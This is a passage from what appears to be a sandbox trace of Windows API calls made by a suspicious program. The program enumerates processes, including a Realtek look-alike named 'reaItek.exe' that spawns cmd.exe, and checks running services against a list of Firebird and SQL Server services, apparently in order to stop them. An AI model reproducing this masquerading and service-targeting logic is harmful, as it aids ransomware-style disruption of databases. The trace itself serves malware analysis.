(in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0100.486] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0100.486] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0100.487] lstrlenW (lpString="dome.exe") returned 8 [0100.487] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0100.488] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0100.488] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0100.489] lstrlenW (lpString="paying.exe") returned 10 [0100.489] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0100.490] lstrlenW (lpString="emission.exe") returned 12 [0100.490] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0100.491] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0100.491] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0100.492] lstrlenW (lpString="charter.exe") returned 11 [0100.492] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0100.493] lstrlenW (lpString="nickel.exe") returned 10 [0100.493] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0100.494] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0100.494] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0100.495] lstrlenW (lpString="wrist.exe") returned 9 [0100.495] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0100.496] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0100.496] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0100.497] lstrlenW (lpString="neck.exe") returned 8 [0100.497] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0100.561] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0100.561] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0100.563] lstrlenW (lpString="dllhost.exe") returned 11 [0100.563] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0100.564] lstrlenW (lpString="taskhostw.exe") returned 13 [0100.564] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.565] lstrlenW (lpString="svchost.exe") returned 11 [0100.565] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.566] lstrlenW (lpString="svchost.exe") returned 11 [0100.566] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0100.567] lstrlenW (lpString="reaItek.exe") returned 11 [0100.567] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0100.568] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0100.568] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0100.569] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0100.569] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.570] lstrlenW (lpString="conhost.exe") returned 11 [0100.570] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0100.571] lstrlenW (lpString="cmd.exe") returned 7 [0100.571] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.572] lstrlenW (lpString="conhost.exe") returned 11 [0100.572] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0100.573] CloseHandle (hObject=0x2e4) returned 1 [0100.573] Sleep (dwMilliseconds=0x1f4) [0101.326] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fecf0 [0101.327] EnumServicesStatusExW (in: hSCManager=0x5fecf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0101.328] GetLastError () returned 0xea [0101.328] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2032) returned 0x42b18c8 [0101.328] EnumServicesStatusExW (in: hSCManager=0x5fecf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42b18c8, cbBufSize=0x2032, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42b18c8, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0101.337] CloseServiceHandle (hSCObject=0x5fecf0) returned 1 [0101.337] lstrlenW (lpString="Appinfo") returned 7 [0101.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0101.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0101.337] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0101.337] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0101.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0101.337] lstrlenW (lpString="AppXSvc") returned 7 [0101.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0101.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0101.338] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0101.338] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0101.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0101.338] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0101.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0101.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0101.338] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0101.338] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0101.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0101.338] lstrlenW (lpString="Audiosrv") returned 8 [0101.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0101.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0101.339] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0101.339] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0101.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0101.339] lstrlenW (lpString="BFE") returned 3 [0101.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0101.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0101.339] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0101.339] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0101.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0101.339] lstrlenW (lpString="BITS") returned 4 [0101.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0101.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0101.339] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0101.339] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0101.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0101.339] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0101.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0101.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0101.339] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0101.339] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0101.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0101.339] lstrlenW (lpString="CDPSvc") returned 6 [0101.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0101.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0101.339] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0101.340] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0101.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0101.340] lstrlenW (lpString="ClickToRunSvc") returned 13 [0101.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0101.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0101.340] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0101.340] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0101.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0101.340] lstrlenW (lpString="ClipSVC") returned 7 [0101.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0101.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0101.340] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0101.340] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0101.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0101.340] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0101.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0101.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0101.340] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0101.340] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0101.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0101.340] lstrlenW (lpString="CryptSvc") returned 8 [0101.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0101.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0101.340] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0101.340] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0101.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0101.341] lstrlenW (lpString="DcomLaunch") returned 10 [0101.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0101.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0101.341] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0101.341] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0101.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0101.341] lstrlenW (lpString="DeviceAssociationService") returned 24 [0101.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0101.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0101.341] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0101.341] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0101.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0101.341] lstrlenW (lpString="Dhcp") returned 4 [0101.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0101.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0101.341] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0101.341] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0101.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0101.341] lstrlenW (lpString="Dnscache") returned 8 [0101.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0101.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0101.341] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0101.341] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0101.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0101.341] lstrlenW (lpString="DoSvc") returned 5 [0101.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0101.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0101.342] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0101.342] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0101.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0101.342] lstrlenW (lpString="DPS") returned 3 [0101.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0101.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0101.342] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0101.342] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0101.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0101.342] lstrlenW (lpString="DusmSvc") returned 7 [0101.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0101.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0101.342] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0101.342] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0101.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0101.342] lstrlenW (lpString="EventLog") returned 8 [0101.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0101.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0101.342] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0101.342] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0101.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0101.342] lstrlenW (lpString="EventSystem") returned 11 [0101.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0101.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0101.342] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0101.342] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0101.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0101.343] lstrlenW (lpString="FontCache") returned 9 [0101.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0101.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0101.343] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0101.343] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0101.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0101.343] lstrlenW (lpString="gpsvc") returned 5 [0101.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0101.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0101.343] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0101.343] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0101.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0101.343] lstrlenW (lpString="iphlpsvc") returned 8 [0101.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0101.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0101.343] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0101.343] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0101.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0101.394] lstrlenW (lpString="KeyIso") returned 6 [0101.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0101.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0101.395] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0101.395] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0101.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0101.395] lstrlenW (lpString="LanmanServer") returned 12 [0101.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0101.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0101.395] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0101.395] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0101.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0101.395] lstrlenW (lpString="LanmanWorkstation") returned 17 [0101.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0101.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0101.395] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0101.395] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0101.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0101.395] lstrlenW (lpString="lfsvc") returned 5 [0101.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0101.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0101.395] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0101.395] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0101.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0101.395] lstrlenW (lpString="LicenseManager") returned 14 [0101.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0101.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0101.395] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0101.395] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0101.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0101.395] lstrlenW (lpString="lmhosts") returned 7 [0101.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0101.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0101.395] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0101.395] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0101.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0101.395] lstrlenW (lpString="LSM") returned 3 [0101.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0101.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0101.396] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0101.396] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0101.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0101.396] lstrlenW (lpString="MapsBroker") returned 10 [0101.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0101.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0101.396] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0101.396] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0101.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0101.396] lstrlenW (lpString="MpsSvc") returned 6 [0101.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0101.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0101.396] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0101.396] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0101.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0101.396] lstrlenW (lpString="NcbService") returned 10 [0101.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0101.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0101.396] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0101.396] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0101.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0101.396] lstrlenW (lpString="netprofm") returned 8 [0101.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0101.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 